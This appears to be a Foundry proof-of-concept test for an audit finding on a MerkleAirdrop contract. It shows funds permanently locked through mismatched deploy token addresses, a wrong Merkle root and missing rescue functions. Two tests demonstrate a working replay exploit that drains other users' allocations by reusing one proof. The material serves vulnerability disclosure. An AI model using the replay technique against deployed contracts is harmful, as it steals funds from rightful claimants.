The PoC is self-contained. It uses an inline 6-decimal mock token and one- and two-leaf Merkle trees built in the test. It shows the following:
pragma solidity 0.8.24;
import { Test, console2 } from "forge-std/Test.sol";
import { Vm } from "forge-std/Vm.sol";
import { MerkleAirdrop, IERC20 } from "../src/MerkleAirdrop.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
contract MockUSDC6 is ERC20 {
constructor() ERC20("USD Coin", "USDC") { }
function decimals() public pure override returns (uint8) {
return 6;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract PoC_AD_04 is Test {
address constant DEPLOY_TOKEN_ARG = 0x1D17CbCf0D6d143135be902365d2e5E2a16538d4;
address constant DEPLOY_FUNDED_TOKEN = 0x1d17CBcF0D6D143135aE902365D2E5e2A16538D4;
uint256 constant DEPLOY_FUNDING = 4 * (25 * 1e6);
uint256 constant FEE = 1e9;
uint256 constant ALLOC = 25 * 1e6;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
bytes32 constant ROOT_UPDATED_TOPIC = keccak256("MerkleRootUpdated(bytes32)");
bytes32 constant CLAIMED_TOPIC = keccak256("Claimed(address,uint256)");
function setUp() public {
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
}
function _leaf(address account, uint256 amount) internal pure returns (bytes32) {
return keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
}
function _hashPair(bytes32 a, bytes32 b) internal pure returns (bytes32) {
return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a));
}
function _deploy(bytes32 root, address token) internal returns (MerkleAirdrop d) {
vm.prank(owner);
d = new MerkleAirdrop(root, IERC20(token));
}
function _dispatcherSelectors(address target) internal view returns (bytes4[] memory out, uint256 n) {
bytes memory code = target.code;
uint256 len = code.length;
uint256 meta = (uint256(uint8(code[len - 2])) << 8) | uint256(uint8(code[len - 1]));
uint256 end = len - meta - 2;
out = new bytes4[](64);
for (uint256 i = 0; i < end; i++) {
uint8 op = uint8(code[i]);
if (op == 0x63 && i + 5 < end && uint8(code[i + 5]) == 0x14) {
out[n++] = bytes4(
(uint32(uint8(code[i + 1])) << 24) | (uint32(uint8(code[i + 2])) << 16)
| (uint32(uint8(code[i + 3])) << 8) | uint32(uint8(code[i + 4]))
);
}
if (op >= 0x60 && op <= 0x7f) i += op - 0x5f;
}
}
function _codeContains(bytes memory code, bytes32 needle) internal pure returns (bool) {
if (code.length < 32) return false;
for (uint256 i = 0; i + 32 <= code.length; i++) {
bytes32 w;
assembly {
w := mload(add(add(code, 32), i))
}
if (w == needle) return true;
}
return false;
}
function _ownerTriesToRecover(MerkleAirdrop d, address token) internal returns (uint256 succeeded) {
bytes[] memory attempts = new bytes[](10);
attempts[0] = abi.encodeWithSignature("sweep(address)", token);
attempts[1] = abi.encodeWithSignature("sweep(address,address)", token, owner);
attempts[2] = abi.encodeWithSignature("rescueTokens(address,uint256)", token, 1);
attempts[3] = abi.encodeWithSignature("recoverERC20(address,uint256)", token, 1);
attempts[4] = abi.encodeWithSignature("withdraw()");
attempts[5] = abi.encodeWithSignature("withdrawTokens(address)", token);
attempts[6] = abi.encodeWithSignature("emergencyWithdraw(address)", token);
attempts[7] = abi.encodeWithSignature("setMerkleRoot(bytes32)", bytes32(uint256(1)));
attempts[8] = abi.encodeWithSignature("updateMerkleRoot(bytes32)", bytes32(uint256(1)));
attempts[9] = abi.encodeWithSignature("setAirdropToken(address)", token);
vm.startPrank(owner);
d.claimFees();
for (uint256 i = 0; i < attempts.length; i++) {
(bool ok,) = address(d).call(attempts[i]);
if (ok) succeeded++;
}
address newOwner = makeAddr("newOwner");
d.transferOwnership(newOwner);
vm.stopPrank();
vm.prank(newOwner);
d.claimFees();
}
function test_Surface_OnlyClaimMovesErc20_AndRootUpdatedNeverEmitted() public {
MockUSDC6 usdc = new MockUSDC6();
MerkleAirdrop d = _deploy(_leaf(alice, ALLOC), address(usdc));
(bytes4[] memory sels, uint256 n) = _dispatcherSelectors(address(d));
bytes4[8] memory expected = [
MerkleAirdrop.claim.selector,
MerkleAirdrop.claimFees.selector,
MerkleAirdrop.getMerkleRoot.selector,
MerkleAirdrop.getAirdropToken.selector,
MerkleAirdrop.getFee.selector,
Ownable.owner.selector,
Ownable.transferOwnership.selector,
Ownable.renounceOwnership.selector
];
console2.log("dispatcher selector count:", n);
assertEq(n, 8, "dispatcher has exactly 8 external functions");
for (uint256 i = 0; i < n; i++) {
bool found;
for (uint256 j = 0; j < 8; j++) {
if (sels[i] == expected[j]) found = true;
}
console2.logBytes4(sels[i]);
assertTrue(found, "unexpected selector in dispatcher");
}
assertTrue(_codeContains(address(d).code, CLAIMED_TOPIC), "Claimed topic present (method sanity)");
assertFalse(_codeContains(address(d).code, ROOT_UPDATED_TOPIC), "MerkleRootUpdated never emitted");
assertEq(d.getMerkleRoot(), _leaf(alice, ALLOC));
assertEq(address(d.getAirdropToken()), address(usdc));
}
function test_Baseline_ValidClaimPaysOut() public {
MockUSDC6 usdc = new MockUSDC6();
MerkleAirdrop d = _deploy(_leaf(alice, ALLOC), address(usdc));
usdc.mint(address(d), ALLOC);
vm.prank(alice);
d.claim{ value: FEE }(alice, ALLOC, new bytes32[](0));
assertEq(usdc.balanceOf(alice), ALLOC);
assertEq(usdc.balanceOf(address(d)), 0);
}
function test_Limb1_WrongTokenFunded_PermanentlyLocked() public {
assertTrue(DEPLOY_TOKEN_ARG != DEPLOY_FUNDED_TOKEN, "Deploy.s.sol uses two different addresses");
MockUSDC6 impl = new MockUSDC6();
vm.etch(DEPLOY_FUNDED_TOKEN, address(impl).code);
MockUSDC6 funded = MockUSDC6(DEPLOY_FUNDED_TOKEN);
MerkleAirdrop d = _deploy(_leaf(alice, ALLOC), DEPLOY_TOKEN_ARG);
funded.mint(address(d), DEPLOY_FUNDING);
assertEq(funded.balanceOf(address(d)), DEPLOY_FUNDING);
vm.prank(alice);
vm.expectRevert();
d.claim{ value: FEE }(alice, ALLOC, new bytes32[](0));
uint256 ok = _ownerTriesToRecover(d, DEPLOY_FUNDED_TOKEN);
assertEq(ok, 0, "no rescue/setter call succeeded");
assertEq(address(d.getAirdropToken()), DEPLOY_TOKEN_ARG, "token cannot be changed");
assertEq(funded.balanceOf(address(d)), DEPLOY_FUNDING, "100 USDC still locked in the airdrop");
assertEq(funded.balanceOf(owner), 0, "owner recovered nothing");
console2.log("locked funded-token balance:", funded.balanceOf(address(d)));
}
function test_Limb2_WrongRootAmount_PermanentlyLocked() public {
MockUSDC6 usdc = new MockUSDC6();
bytes32 badRoot = _leaf(alice, 25 * 1e18);
MerkleAirdrop d = _deploy(badRoot, address(usdc));
usdc.mint(address(d), DEPLOY_FUNDING);
vm.startPrank(alice);
vm.expectRevert();
d.claim{ value: FEE }(alice, 25 * 1e18, new bytes32[](0));
vm.expectRevert(MerkleAirdrop.MerkleAirdrop__InvalidProof.selector);
d.claim{ value: FEE }(alice, ALLOC, new bytes32[](0));
vm.stopPrank();
uint256 ok = _ownerTriesToRecover(d, address(usdc));
assertEq(ok, 0, "no rescue/setter call succeeded");
assertEq(d.getMerkleRoot(), badRoot, "root cannot be corrected");
assertEq(usdc.balanceOf(address(d)), DEPLOY_FUNDING, "100 USDC still locked");
assertEq(usdc.balanceOf(owner), 0);
console2.log("locked USDC under bad root:", usdc.balanceOf(address(d)));
}
function test_Limb3_UnclaimedAllocation_IsNotStuck_ReplayDrainsIt() public {
MockUSDC6 usdc = new MockUSDC6();
bytes32 la = _leaf(alice, ALLOC);
bytes32 lb = _leaf(bob, ALLOC);
MerkleAirdrop d = _deploy(_hashPair(la, lb), address(usdc));
usdc.mint(address(d), 2 * ALLOC);
bytes32[] memory proofA = new bytes32[](1);
proofA[0] = lb;
vm.startPrank(alice);
d.claim{ value: FEE }(alice, ALLOC, proofA);
d.claim{ value: FEE }(alice, ALLOC, proofA);
vm.stopPrank();
assertEq(usdc.balanceOf(address(d)), 0, "unclaimed allocation was drained, not stuck");
assertEq(usdc.balanceOf(alice), 2 * ALLOC);
}
function test_Limb4_ForeignErc20SentByMistake_PermanentlyLocked() public {
MockUSDC6 usdc = new MockUSDC6();
MockUSDC6 other = new MockUSDC6();
MerkleAirdrop d = _deploy(_leaf(alice, ALLOC), address(usdc));
usdc.mint(address(d), ALLOC);
other.mint(address(d), 1000e6);
vm.prank(alice);
d.claim{ value: FEE }(alice, ALLOC, new bytes32[](0));
uint256 ok = _ownerTriesToRecover(d, address(other));
assertEq(ok, 0);
assertEq(other.balanceOf(address(d)), 1000e6, "foreign ERC20 locked forever");
assertEq(other.balanceOf(owner), 0);
}
function test_Limb4_SurplusAirdropToken_ReplayDrains_OnlyDustLocked() public {
MockUSDC6 usdc = new MockUSDC6();
MerkleAirdrop d = _deploy(_leaf(alice, ALLOC), address(usdc));
usdc.mint(address(d), ALLOC + 60e6);
vm.startPrank(alice);
for (uint256 i = 0; i < 3; i++) {
d.claim{ value: FEE }(alice, ALLOC, new bytes32[](0));
}
vm.expectRevert();
d.claim{ value: FEE }(alice, ALLOC, new bytes32[](0));
vm.stopPrank();
uint256 ok = _ownerTriesToRecover(d, address(usdc));
assertEq(ok, 0);
assertEq(usdc.balanceOf(alice), 75e6, "surplus went to the leaf holder via replay");
assertEq(usdc.balanceOf(address(d)), 10e6, "only sub-leaf remainder is locked");
assertEq(usdc.balanceOf(owner), 0);
}
}